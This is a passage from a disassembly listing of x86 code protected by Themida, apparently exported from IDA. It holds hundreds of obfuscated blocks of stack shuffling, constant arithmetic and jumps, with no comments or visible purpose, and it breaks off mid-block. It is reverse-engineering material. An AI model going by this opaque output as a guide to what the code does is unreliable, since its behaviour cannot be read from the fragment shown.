loc_55A78F: ; CODE XREF: Themida_:0055664Bj
mov esi, ecx
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push eax
mov eax, 270EC163h
sub esi, 2E477554h
jmp loc_55D8FA
; ---------------------------------------------------------------------------
loc_55A7B8: ; CODE XREF: Themida_:00552738j
mov ebp, 208B5225h
jmp loc_55961E
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
push esp
pop eax
jmp loc_55720D
; ---------------------------------------------------------------------------
loc_55A7CE: ; CODE XREF: Themida_:00555E5Fj
push 5EF8h
jmp loc_55877C
; ---------------------------------------------------------------------------
loc_55A7D8: ; CODE XREF: Themida_:005590C9j
push ebp
mov ebp, 18715DB6h
shl ebp, 2
jmp loc_55B2E6
; ---------------------------------------------------------------------------
loc_55A7E6: ; CODE XREF: Themida_:00557FDFj
pop esp
add ebx, 4
push eax
push ebx
push 7C31523Eh
jmp loc_552E6E
; ---------------------------------------------------------------------------
loc_55A7F9: ; CODE XREF: Themida_:00559877j
add esp, 4
push edx
jmp loc_5560D6
; ---------------------------------------------------------------------------
loc_55A802: ; CODE XREF: Themida_:0055CC52j
pop ebx
jmp loc_55D434
; ---------------------------------------------------------------------------
loc_55A808: ; CODE XREF: Themida_:00556AA3j
mov bl, dh
pop edx
pop eax
mov ch, [esp+2]
mov [esp+2], bl
mov bx, [esp]
jmp loc_559A3F
; ---------------------------------------------------------------------------
loc_55A81D: ; CODE XREF: Themida_:00557FF0j
xchg eax, [esp]
jmp loc_55C1F5
; ---------------------------------------------------------------------------
loc_55A825: ; CODE XREF: Themida_:005586BCj
pop edx
loc_55A826: ; CODE XREF: Themida_:0055483Cj
push eax
xor dword ptr [esp], 64176C55h
mov eax, [esp]
push edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
add edi, 4
jmp loc_55B221
; ---------------------------------------------------------------------------
loc_55A847: ; CODE XREF: Themida_:0055A1A3j
mov ebp, [esp]
jmp loc_5590D9
; ---------------------------------------------------------------------------
loc_55A84F: ; CODE XREF: Themida_:00553D21j
pop dword ptr [esp]
jmp loc_556F7E
; ---------------------------------------------------------------------------
loc_55A857: ; CODE XREF: Themida_:00556959j
add eax, 32F47F00h
sub eax, ebx
sub eax, 32F47F00h
push edx
mov edx, 76C87C28h
add eax, edx
jmp loc_552690
; ---------------------------------------------------------------------------
loc_55A870: ; CODE XREF: Themida_:005521BBj
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push 7A17h
mov [esp], ecx
push ebx
push 709h
mov [esp], ebp
jmp loc_556977
; ---------------------------------------------------------------------------
loc_55A893: ; CODE XREF: Themida_:00558B70j
push edx
mov edx, 60DC23E6h
push eax
mov eax, 2CDD5582h
not eax
and eax, 0DA77392h
or eax, 78D45121h
and eax, 2D0F3D1Dh
neg eax
sub eax, 0CA456F8Ch
sub edx, eax
pop eax
shr edx, 3
and edx, 4D65772Ch
and edx, 3F661738h
xor edx, 8041004h
jmp loc_55C030
; ---------------------------------------------------------------------------
loc_55A8D4: ; CODE XREF: Themida_:0055B22Aj
pop esp
push edx
jmp loc_559D89
; ---------------------------------------------------------------------------
loc_55A8DB: ; CODE XREF: Themida_:0055AEB2j
not eax
xor eax, 5D7163FBh
neg eax
add eax, 0AA7E4424h
add ebp, eax
pop eax
mov ebx, ebp
jmp loc_556315
; ---------------------------------------------------------------------------
loc_55A8F3: ; CODE XREF: Themida_:0055B1AEj
mov eax, ebx
pop ebx
sub ebx, eax
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_55275E
; ---------------------------------------------------------------------------
loc_55A912: ; CODE XREF: Themida_:0055211Aj
shl ah, 2
push edx
mov dh, 7
and dh, 15h
jmp loc_55AAED
; ---------------------------------------------------------------------------
loc_55A920: ; CODE XREF: Themida_:00553C12j
add bh, 2Eh
push eax
mov al, 32h
add al, 9Eh
inc al
jmp loc_551923
; ---------------------------------------------------------------------------
loc_55A92F: ; CODE XREF: Themida_:0055C1F9j
mov edx, esp
push edi
push ebp
push 50F44748h
pop ebp
jmp loc_55C8F8
; ---------------------------------------------------------------------------
loc_55A93E: ; CODE XREF: Themida_:0055D9F3j
add edx, 4
xchg edx, [esp]
jmp loc_553754
; ---------------------------------------------------------------------------
loc_55A949: ; CODE XREF: Themida_:00553CD9j
or [edi+1Ch], ebx
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
jmp loc_55BE77
; ---------------------------------------------------------------------------
loc_55A958: ; CODE XREF: Themida_:00558239j
add ebp, eax
pop eax
add ebp, 4
xchg ebp, [esp]
pop esp
add edx, 4
push 3B44h
mov [esp], eax
mov eax, 2
add edx, eax
mov eax, [esp]
add esp, 4
xchg edx, [esp]
jmp loc_554307
; ---------------------------------------------------------------------------
loc_55A988: ; CODE XREF: Themida_:0055597Ej
pop ebx
push dword ptr [esp]
pop ecx
jmp loc_557512
; ---------------------------------------------------------------------------
loc_55A992: ; CODE XREF: Themida_:005588D6j
add eax, 298D4D04h
jmp loc_556EC3
; ---------------------------------------------------------------------------
loc_55A99C: ; CODE XREF: Themida_:005591FFj
pop esp
push ebx
push esi
mov esi, 58CC6F24h
mov ebx, esi
pop esi
or ebx, 549D01BFh
push ebx
dec dword ptr [esp]
pop ebx
dec ebx
jmp loc_55856D
; ---------------------------------------------------------------------------
loc_55A9B8: ; CODE XREF: Themida_:00558991j
shl dh, 4
neg dh
sub dh, 0B4h
mov cl, dh
pop edx
add al, 0D3h
add al, 0AFh
sub al, cl
sub al, 0AFh
sub al, 0D3h
pop ecx
sub al, 0ABh
add al, 0Bh
jmp near ptr unk_551D47
; ---------------------------------------------------------------------------
loc_55A9D7: ; CODE XREF: Themida_:005572DFj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_556A82
; ---------------------------------------------------------------------------
loc_55A9E5: ; CODE XREF: Themida_:0055A9F5j
pop esp
xchg edx, [esp]
pop esp
push dword ptr [esp]
jmp loc_5559AF
; ---------------------------------------------------------------------------
loc_55A9F2: ; CODE XREF: Themida_:005536C0j
xchg eax, [esp]
jmp loc_55A9E5
; ---------------------------------------------------------------------------
loc_55A9FA: ; CODE XREF: Themida_:00551C29j
add ecx, 97EE9D48h
sub ebx, ecx
pop ecx
jmp loc_55D827
; ---------------------------------------------------------------------------
loc_55AA08: ; CODE XREF: Themida_:0055B8FAj
push 7B84h
jmp loc_5522A8
; ---------------------------------------------------------------------------
lodsb
jmp loc_555B7B
; ---------------------------------------------------------------------------
loc_55AA18: ; CODE XREF: Themida_:00555650j
xor eax, ecx
jmp loc_5594A9
; ---------------------------------------------------------------------------
loc_55AA1F: ; CODE XREF: Themida_:0055C70Cj
push dword ptr [esp]
pop esi
push edx
mov edx, esp
jmp loc_5595CA
; ---------------------------------------------------------------------------
loc_55AA2B: ; CODE XREF: Themida_:0055D542j
mov dl, ch
pop ecx
xor dl, 0E3h
push ecx
mov ch, 0D3h
inc ch
xor ch, 6Eh
sub ch, 77h
xor dl, ch
pop ecx
jmp loc_5581BC
; ---------------------------------------------------------------------------
loc_55AA44: ; CODE XREF: Themida_:0055A26Cj
pop esp
sub ecx, 3B699E3Ah
jmp loc_55789F
; ---------------------------------------------------------------------------
loc_55AA50: ; CODE XREF: Themida_:00553253j
xor eax, ebx
pop ebx
jmp loc_551AC4
; ---------------------------------------------------------------------------
loc_55AA58: ; CODE XREF: Themida_:00557874j
mov dx, [esp]
add esp, 2
xor ch, 31h
xor al, ch
mov ecx, [esp]
add esp, 4
xor bl, al
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55AA7B: ; CODE XREF: Themida_:00555D3Bj
add esi, 1BFB2252h
pop ebp
add edx, esi
mov esi, [esp]
jmp loc_55AEC9
; ---------------------------------------------------------------------------
loc_55AA8C: ; CODE XREF: Themida_:00559D84j
push ebp
jmp loc_55BCCA
; ---------------------------------------------------------------------------
loc_55AA92: ; CODE XREF: Themida_:00557E11j
push ecx
jmp loc_554334
; ---------------------------------------------------------------------------
loc_55AA98: ; CODE XREF: Themida_:0055552Aj
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_55339C
; ---------------------------------------------------------------------------
loc_55AAA8: ; CODE XREF: Themida_:0055374Fj
pop ebp
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
push dword ptr [esp]
pop eax
push ebx
push esp
pop ebx
jmp loc_55A618
; ---------------------------------------------------------------------------
loc_55AABE: ; CODE XREF: Themida_:00552F19j
mov edx, 4
add ebp, edx
pop edx
push 72Dh
jmp loc_558528
; ---------------------------------------------------------------------------
loc_55AAD0: ; CODE XREF: Themida_:00554F1Ej
add ebx, edi
pop edi
jmp loc_554095
; ---------------------------------------------------------------------------
loc_55AAD8: ; CODE XREF: Themida_:00551DA9j
xor edi, 0B51044DAh
mov ecx, edi
pop edi
sub edx, ecx
pop ecx
add edi, edx
pop edx
push eax
jmp loc_552D39
; ---------------------------------------------------------------------------
loc_55AAED: ; CODE XREF: Themida_:0055A91Bj
neg dh
dec dh
add dh, 0DFh
add dh, 8Fh
xor ah, dh
pop edx
jmp loc_55B120
; ---------------------------------------------------------------------------
loc_55AAFF: ; CODE XREF: Themida_:00552CDFj
pop ebp
add ecx, 4
jmp loc_55B27E
; ---------------------------------------------------------------------------
loc_55AB08: ; CODE XREF: Themida_:0055CC40j
pop eax
push 0E4Dh
jmp loc_558068
; ---------------------------------------------------------------------------
loc_55AB13: ; CODE XREF: Themida_:0055B2ADj
push 768Bh
jmp loc_552EA9
; ---------------------------------------------------------------------------
loc_55AB1D: ; CODE XREF: Themida_:005571DDj
pop edi
add edx, 0FFBEF7E2h
add ebp, edx
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push 4E2Fh
jmp loc_552A60
; ---------------------------------------------------------------------------
loc_55AB4D: ; CODE XREF: Themida_:005542AAj
mov [esp], ax
push ebx
mov bl, 7Ch
mov al, bl
mov ebx, [esp]
jmp loc_551FD8
; ---------------------------------------------------------------------------
loc_55AB5E: ; CODE XREF: Themida_:00552233j
add esp, 4
jmp loc_55BC47
; ---------------------------------------------------------------------------
loc_55AB69: ; CODE XREF: Themida_:00554156j
mov [esp], ebx
mov ebx, 1C4E2440h
neg ebx
and ebx, 1FA34C4Eh
sub ebx, 35334F37h
shl ebx, 6
jmp loc_552A00
; ---------------------------------------------------------------------------
loc_55AB87: ; CODE XREF: Themida_:00557E58j
xchg ecx, [esp]
pop esp
div cx
jmp loc_55272A
; ---------------------------------------------------------------------------
loc_55AB93: ; CODE XREF: Themida_:0055B81Dj
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55B4CC
; ---------------------------------------------------------------------------
loc_55ABA4: ; CODE XREF: Themida_:0055362Cj
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
jmp loc_557C7F
; ---------------------------------------------------------------------------
loc_55ABB7: ; CODE XREF: Themida_:00551F1Cj
xchg ebp, [esp]
mov esp, [esp]
add ecx, 4
push esi
mov esi, 4
add ecx, esi
jmp loc_55654E
; ---------------------------------------------------------------------------
loc_55ABD0: ; CODE XREF: Themida_:0055BD5Cj
sub ecx, 0E10C8F5Fh
add edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55ACFC
; ---------------------------------------------------------------------------
loc_55ABE3: ; CODE XREF: Themida_:0055C90Bj
mov edi, [esp]
add esp, 4
jmp loc_55C1DB
; ---------------------------------------------------------------------------
loc_55ABEE: ; CODE XREF: Themida_:00553C81j
push eax
mov eax, 6C9334D6h
sub ebp, eax
mov eax, [esp]
add esp, 4
jmp loc_5556E0
; ---------------------------------------------------------------------------
mov cx, [esp]
push 35F2h
mov [esp], edx
mov edx, esp
push ebp
mov ebp, 444D6BF6h
not ebp
jmp loc_5532A0
; ---------------------------------------------------------------------------
loc_55AC1C: ; CODE XREF: Themida_:00551AF0j
pop esi
inc ebx
shl ebx, 3
add ebx, 0F0150BAh
sub ebx, 6C3A3FEBh
push ebx
mov ebx, 7FE35075h
jmp loc_55D6CF
; ---------------------------------------------------------------------------
loc_55AC38: ; CODE XREF: Themida_:00556549j
pop ebp
mov ebx, ecx
pop ecx
push edx
mov edx, 26A964D0h
jmp loc_55C425
; ---------------------------------------------------------------------------
loc_55AC47: ; CODE XREF: Themida_:00559BB8j
add eax, 4B12D22Ch
jmp loc_5533F4
; ---------------------------------------------------------------------------
loc_55AC51: ; CODE XREF: Themida_:00553116j
xchg ebx, esi
and esi, 2B3502C7h
jmp loc_555C60
; ---------------------------------------------------------------------------
loc_55AC5E: ; CODE XREF: Themida_:0055749Dj
add esp, 4
push ecx
jmp loc_554718
; ---------------------------------------------------------------------------
loc_55AC6A: ; CODE XREF: Themida_:0055B514j
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
jmp loc_55C9EC
; ---------------------------------------------------------------------------
loc_55AC77: ; CODE XREF: Themida_:00555DBCj
sub eax, ebx
pop ebx
pop ebp
push ecx
push esp
pop ecx
add ecx, 4
jmp loc_55BB53
; ---------------------------------------------------------------------------
loc_55AC89: ; CODE XREF: Themida_:0055687Aj
push 2CB7h
jmp loc_556BD9
; ---------------------------------------------------------------------------
loc_55AC93: ; CODE XREF: Themida_:005543F9j
push 36865BA8h
pop eax
xor eax, 236F34A8h
jmp loc_55DCE3
; ---------------------------------------------------------------------------
loc_55ACA3: ; CODE XREF: Themida_:00552363j
not ebp
push edi
mov edi, 478D0075h
jmp loc_554602
; ---------------------------------------------------------------------------
loc_55ACB0: ; CODE XREF: Themida_:00556CCEj
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov esi, [esp]
jmp loc_5521B8
; ---------------------------------------------------------------------------
loc_55ACC4: ; CODE XREF: Themida_:0055BBABj
mov ch, 35h
jmp loc_554566
; ---------------------------------------------------------------------------
loc_55ACCB: ; CODE XREF: Themida_:00553601j
push 7FAh
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_557D4D
; ---------------------------------------------------------------------------
loc_55ACE0: ; CODE XREF: Themida_:0055286Dj
sub esp, 2
mov [esp], cx
jmp loc_552AB6
; ---------------------------------------------------------------------------
loc_55ACEC: ; CODE XREF: Themida_:00551FCBj
add eax, 4
sub eax, 4
xor eax, [esp]
jmp loc_557DE4
; ---------------------------------------------------------------------------
loc_55ACFC: ; CODE XREF: Themida_:0055ABDEj
add edi, ecx
jmp loc_55D2F1
; ---------------------------------------------------------------------------
loc_55AD03: ; CODE XREF: Themida_:0055859Ej
push esp
pop esi
push ebp
jmp loc_55D0FE
; ---------------------------------------------------------------------------
loc_55AD0B: ; CODE XREF: Themida_:005583F1j
pop eax
add [esp+4], eax
push eax
mov eax, 0C66360Dh
jmp loc_556FA8
; ---------------------------------------------------------------------------
loc_55AD1B: ; CODE XREF: Themida_:00556F6Bj
pop edx
shl ecx, 1
add ecx, 9009AE23h
jmp loc_552736
; ---------------------------------------------------------------------------
loc_55AD29: ; CODE XREF: Themida_:005588BCj
mov esp, [esp]
mov ax, [esp]
push esi
push esp
jmp loc_557B55
; ---------------------------------------------------------------------------
loc_55AD37: ; CODE XREF: Themida_:0055739Bj
sub eax, 3E8634Bh
shr eax, 4
shl eax, 5
inc eax
sub eax, 0F904D97h
push edi
mov edi, 1EB82B89h
neg edi
or edi, 4408735Fh
or edi, 5DDC1CC5h
jmp loc_552F5D
; ---------------------------------------------------------------------------
loc_55AD61: ; CODE XREF: Themida_:0055B9C5j
sub ebx, edi
jmp loc_557AB7
; ---------------------------------------------------------------------------
loc_55AD68: ; CODE XREF: Themida_:00553777j
mov edx, 4
add esi, edx
mov edx, [esp]
add esp, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], ebp
mov ebp, 4
sub esi, ebp
jmp loc_557FB3
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_55BAE3
; ---------------------------------------------------------------------------
loc_55AD9D: ; CODE XREF: Themida_:0055A591j
pop esi
add ecx, 4
jmp loc_55696C
; ---------------------------------------------------------------------------
loc_55ADA6: ; CODE XREF: Themida_:0055D159j
pop edi
pop dword ptr [esp]
mov esp, [esp]
mul cx
jmp loc_5541E8
; ---------------------------------------------------------------------------
loc_55ADB5: ; CODE XREF: Themida_:0055CA04j
sub edx, 0CE3A1CE4h
add edi, 181704FDh
add edi, edx
sub edi, 181704FDh
pop edx
push esi
push ecx
jmp loc_557BC3
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
jmp loc_55B5E5
; ---------------------------------------------------------------------------
loc_55ADDA: ; CODE XREF: Themida_:0055A613j
push ecx
jmp loc_55D261
; ---------------------------------------------------------------------------
loc_55ADE0: ; CODE XREF: Themida_:0055766Cj
mov cl, al
jmp loc_55538B
; ---------------------------------------------------------------------------
loc_55ADE7: ; CODE XREF: Themida_:00554429j
or ecx, 21F63349h
jmp loc_55BD59
; ---------------------------------------------------------------------------
loc_55ADF2: ; CODE XREF: Themida_:0055A45Aj
push small word ptr [esp+2]
pop dx
pop small word ptr [esp]
not dx
jmp loc_5597AC
; ---------------------------------------------------------------------------
loc_55AE05: ; CODE XREF: Themida_:005562B6j
or ebp, 444765DFh
xor ebp, 7DBA47B1h
jmp loc_556C4C
; ---------------------------------------------------------------------------
loc_55AE16: ; CODE XREF: Themida_:0055302Dj
pop eax
push 1B9Ah
mov [esp], esi
push dword ptr [esp]
jmp loc_55D145
; ---------------------------------------------------------------------------
push 1F6Fh
jmp loc_55C56D
; ---------------------------------------------------------------------------
loc_55AE31: ; CODE XREF: Themida_:00552326j
xchg ah, cl
dec ah
jmp loc_5552D8
; ---------------------------------------------------------------------------
loc_55AE3A: ; CODE XREF: Themida_:0055701Dj
movzx eax, al
mov dx, [esp]
push 2512h
mov [esp], edi
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
jmp loc_55938B
; ---------------------------------------------------------------------------
loc_55AE68: ; CODE XREF: Themida_:0055329Bj
push esi
mov esi, esp
jmp loc_556F3C
; ---------------------------------------------------------------------------
loc_55AE70: ; CODE XREF: Themida_:0055DAE3j
push ebx
mov bl, 6
xor dh, bl
pop ebx
neg dh
xor dh, 0B7h
sub al, dh
mov edx, [esp]
add esp, 4
add al, 41h
jmp loc_5585D4
; ---------------------------------------------------------------------------
loc_55AE8D: ; CODE XREF: Themida_:0055744Bj
and ebp, 3E21199Dh
add ebp, 643029BBh
and ebp, 1936AA8h
sub esp, 4
mov [esp], eax
mov eax, 0A4A74E0h
and eax, 7C9070B9h
jmp loc_55A8DB
; ---------------------------------------------------------------------------
loc_55AEB7: ; CODE XREF: Themida_:00557A68j
pop ebx
add bp, 56FBh
sub bx, bp
pop ebp
sub bx, ax
jmp loc_553703
; ---------------------------------------------------------------------------
loc_55AEC9: ; CODE XREF: Themida_:0055AA87j
add esp, 4
push edi
mov edi, 4
add edx, edi
pop edi
xchg edx, [esp]
jmp loc_55DA58
; ---------------------------------------------------------------------------
loc_55AEDD: ; CODE XREF: Themida_:00559D6Aj
push ebx
jmp loc_55D3FE
; ---------------------------------------------------------------------------
loc_55AEE3: ; CODE XREF: Themida_:0055BF21j
push 753Ah
mov [esp], eax
mov eax, 33820829h
shl eax, 5
jmp loc_557938
; ---------------------------------------------------------------------------
loc_55AEF8: ; CODE XREF: Themida_:0055B618j
and ecx, 58BC6286h
sub ecx, 3D73853h
not ecx
xor ecx, 0EBD315C8h
add ebx, ecx
pop ecx
add ebx, 4
xchg ebx, [esp]
jmp loc_5542A3
; ---------------------------------------------------------------------------
loc_55AF1A: ; CODE XREF: Themida_:00556BCAj
xor [esp], ecx
xor ecx, [esp]
jmp loc_55913B
; ---------------------------------------------------------------------------
loc_55AF25: ; CODE XREF: Themida_:0055B033j
pop edi
add edi, 4
sub edi, 4
jmp loc_5550A9
; ---------------------------------------------------------------------------
loc_55AF34: ; CODE XREF: Themida_:00554ADEj
mov ecx, 79561BC3h
add ecx, 0FFFFFFFFh
push edi
mov edi, 79561BC0h
add ecx, 3BCA4C15h
sub ecx, edi
sub ecx, 3BCA4C15h
pop edi
add ebx, ecx
push dword ptr [esp]
pop ecx
push esi
jmp loc_55D678
; ---------------------------------------------------------------------------
loc_55AF60: ; CODE XREF: Themida_:00557B50j
mov ecx, 53145765h
jmp loc_557F08
; ---------------------------------------------------------------------------
loc_55AF6A: ; CODE XREF: Themida_:005585CFj
mov [eax], cl
mov eax, [esp]
add esp, 4
mov edx, [esp]
jmp loc_551B0E
; ---------------------------------------------------------------------------
loc_55AF7A: ; CODE XREF: Themida_:0055878Cj
xor ebp, 418B5EBFh
jmp loc_55D0E1
; ---------------------------------------------------------------------------
loc_55AF85: ; CODE XREF: Themida_:00556E3Bj
mov eax, 68682FF4h
mov edi, 68682FF0h
xor edi, eax
pop eax
jmp loc_552203
; ---------------------------------------------------------------------------
loc_55AF97: ; CODE XREF: Themida_:0055B400j
add ebp, 4
jmp loc_557411
; ---------------------------------------------------------------------------
loc_55AFA2: ; CODE XREF: Themida_:0055D5A4j
pop esi
add esp, 4
add esi, 4
jmp loc_5570A5
; ---------------------------------------------------------------------------
loc_55AFB1: ; CODE XREF: Themida_:00552EFBj
pop esp
mov [esp], ax
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55AFBB: ; CODE XREF: Themida_:00557095j
dec edx
or edx, 5EFF69B3h
add edx, 5F2C12BDh
add edx, 20D47348h
sub esi, 48BC35BFh
add esi, edx
push ebp
mov ebp, 48BC35BFh
add esi, ebp
pop ebp
push dword ptr [esp]
pop edx
push edi
mov edi, esp
jmp loc_55964C
; ---------------------------------------------------------------------------
loc_55AFEB: ; CODE XREF: Themida_:00552EECj
mov eax, 8741D7Ah
add eax, 2DBA20EDh
jmp loc_55B31C
; ---------------------------------------------------------------------------
loc_55AFFA: ; CODE XREF: Themida_:0055B026j
mov edx, 0A2A29ECBh
sub ecx, 3098716Bh
add ecx, edx
jmp loc_554E01
; ---------------------------------------------------------------------------
loc_55B00C: ; CODE XREF: Themida_:0055BE52j
push ebp
mov ebp, 4
jmp loc_555A85
; ---------------------------------------------------------------------------
loc_55B017: ; CODE XREF: Themida_:0055D3B8j
mov ecx, [esp]
jmp loc_556680
; ---------------------------------------------------------------------------
loc_55B01F: ; CODE XREF: Themida_:00558C4Fj
or ecx, 591D0039h
push edx
jmp loc_55AFFA
; ---------------------------------------------------------------------------
loc_55B02B: ; CODE XREF: Themida_:00556201j
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_55AF25
; ---------------------------------------------------------------------------
loc_55B038: ; CODE XREF: Themida_:00557E99j
add ebx, 4
sub ebx, 4
jmp loc_559E75
; ---------------------------------------------------------------------------
loc_55B046: ; CODE XREF: Themida_:00557D63j
pop edi
pop esi
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edx
mov edx, 2481FB6Eh
add eax, 29BF025Eh
sub eax, 608345F0h
add eax, edx
add eax, 608345F0h
sub eax, 29BF025Eh
push dword ptr [esp]
jmp loc_55DA6E
; ---------------------------------------------------------------------------
loc_55B074: ; CODE XREF: Themida_:00556AE0j
mov edi, [esp]
add esp, 4
add edi, 4
add edi, 4
jmp loc_551EC3
; ---------------------------------------------------------------------------
loc_55B08B: ; CODE XREF: Themida_:005520D5j
push esi
mov esi, esp
jmp loc_554722
; ---------------------------------------------------------------------------
loc_55B093: ; CODE XREF: Themida_:0055D0F9j
mov ebp, 4
jmp loc_552BE7
; ---------------------------------------------------------------------------
loc_55B09D: ; CODE XREF: Themida_:00558A61j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add al, 0D8h
add al, dh
jmp loc_5560A4
; ---------------------------------------------------------------------------
loc_55B0B5: ; CODE XREF: Themida_:0055DCD0j
dec ecx
push edi
jmp loc_559BDA
; ---------------------------------------------------------------------------
loc_55B0BC: ; CODE XREF: Themida_:00555641j
add esi, 207B5B64h
pop ebp
jmp loc_5558F1
; ---------------------------------------------------------------------------
loc_55B0C8: ; CODE XREF: Themida_:005570B4j
push ecx
mov ecx, esp
add ecx, 4
push edi
mov edi, 4
push ebx
mov ebx, 65DE1571h
jmp loc_5576F0
; ---------------------------------------------------------------------------
loc_55B0E2: ; CODE XREF: Themida_:0055C967j
mov [esp], edx
push ebx
mov bl, 76h
mov dh, 57h
xor dh, bl
mov ebx, [esp]
jmp loc_553BFC
; ---------------------------------------------------------------------------
loc_55B0F4: ; CODE XREF: Themida_:0055986Aj
mov ebp, ecx
pop ecx
add ebp, 0C54FF451h
add esi, ebp
pop ebp
add esi, 2
xchg esi, [esp]
mov esp, [esp]
mov dx, [esp]
sub esp, 4
mov [esp], ecx
push esp
pop ecx
jmp loc_556C1C
; ---------------------------------------------------------------------------
loc_55B120: ; CODE XREF: Themida_:0055AAFAj
or ah, 16h
push ecx
jmp loc_5539C5
; ---------------------------------------------------------------------------
loc_55B129: ; CODE XREF: Themida_:00559A3Aj
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
jmp loc_556154
; ---------------------------------------------------------------------------
loc_55B141: ; CODE XREF: Themida_:0055C5D5j
sub edi, 4
xchg edi, [esp]
jmp loc_552534
; ---------------------------------------------------------------------------
loc_55B14C: ; CODE XREF: Themida_:00556C47j
mov dh, 0Dh
jmp loc_554A22
; ---------------------------------------------------------------------------
loc_55B153: ; CODE XREF: Themida_:0055C4EDj
push ebx
push eax
push 19E621B1h
jmp loc_55DB53
; ---------------------------------------------------------------------------
loc_55B15F: ; CODE XREF: Themida_:005569C5j
add esi, 4
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
add ebx, 5203D20h
push eax
mov eax, 169D56E8h
xchg eax, ebp
jmp loc_557F01
; ---------------------------------------------------------------------------
loc_55B184: ; CODE XREF: Themida_:005576DAj
shl edx, 5
add edx, 1232182Fh
sub edx, 6D359D29h
mov ebx, edx
pop edx
sub ebx, 332A40A0h
sub ebx, 62A97582h
add ebx, 3CDE06F1h
add ebx, 793F9A28h
jmp loc_55A8F3
; ---------------------------------------------------------------------------
loc_55B1B3: ; CODE XREF: Themida_:00554302j
add edi, edx
add edi, 4E9C4EC7h
pop edx
xchg edi, [esp]
mov esp, [esp]
test ecx, eax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55B1CA: ; CODE XREF: Themida_:00556783j
push esp
pop edx
add edx, 4
push ecx
jmp loc_55DD00
; ---------------------------------------------------------------------------
loc_55B1D8: ; CODE XREF: Themida_:0055C59Ej
pop esi
jmp loc_557DA2
; ---------------------------------------------------------------------------
loc_55B1DE: ; CODE XREF: Themida_:00558523j
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], ebx
mov ebx, 3EAD349Dh
add ebx, 1
not ebx
jmp loc_5561B2
; ---------------------------------------------------------------------------
loc_55B20B: ; CODE XREF: Themida_:0055CBD5j
sub bl, dh
pop edx
jmp loc_55823E
; ---------------------------------------------------------------------------
loc_55B213: ; CODE XREF: Themida_:0055271Ej
push edx
push ecx
mov ecx, 29312E27h
mov edx, ecx
jmp loc_555F8E
; ---------------------------------------------------------------------------
loc_55B221: ; CODE XREF: Themida_:0055A842j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_55A8D4
; ---------------------------------------------------------------------------
loc_55B22F: ; CODE XREF: Themida_:00554568j
inc ch
jmp loc_55B894
; ---------------------------------------------------------------------------
loc_55B236: ; CODE XREF: Themida_:00557110j
or eax, eax
jz loc_5540D2
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push esp
pop ebx
add ebx, 4
jmp loc_552CE4
; ---------------------------------------------------------------------------
loc_55B260: ; CODE XREF: Themida_:00556AD4j
pop esi
sub edx, 6B51762Bh
jmp loc_556291
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push esi
jmp loc_555153
; ---------------------------------------------------------------------------
loc_55B276: ; CODE XREF: Themida_:005541E3j
mov [esp], esp
jmp loc_559ADA
; ---------------------------------------------------------------------------
loc_55B27E: ; CODE XREF: Themida_:0055AB03j
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_551815
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push esp
pop edx
push ebx
mov ebx, 4
add edx, ebx
pop ebx
sub esp, 4
mov [esp], esi
push 23B754F0h
pop esi
not esi
jmp loc_55AB13
; ---------------------------------------------------------------------------
loc_55B2B2: ; CODE XREF: Themida_:0055BA8Fj
xor [esp+4], ebp
pop ebp
pop esi
jmp loc_55CE98
; ---------------------------------------------------------------------------
loc_55B2BD: ; CODE XREF: Themida_:0055D7CBj
push 78D4604Bh
jmp loc_5548D7
; ---------------------------------------------------------------------------
loc_55B2C7: ; CODE XREF: Themida_:0055C8B7j
sub al, ch
jmp loc_5518FE
; ---------------------------------------------------------------------------
loc_55B2CE: ; CODE XREF: Themida_:005521C3j
pop eax
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_551997
; ---------------------------------------------------------------------------
loc_55B2E6: ; CODE XREF: Themida_:0055A7E1j
shr ebp, 8
not ebp
xor ebp, 0BFAB0E46h
add eax, ebp
pop ebp
sub eax, 4C21409h
add eax, edi
jmp loc_55BDDA
; ---------------------------------------------------------------------------
loc_55B300: ; CODE XREF: Themida_:00558DF7j
mov esi, 95210CFh
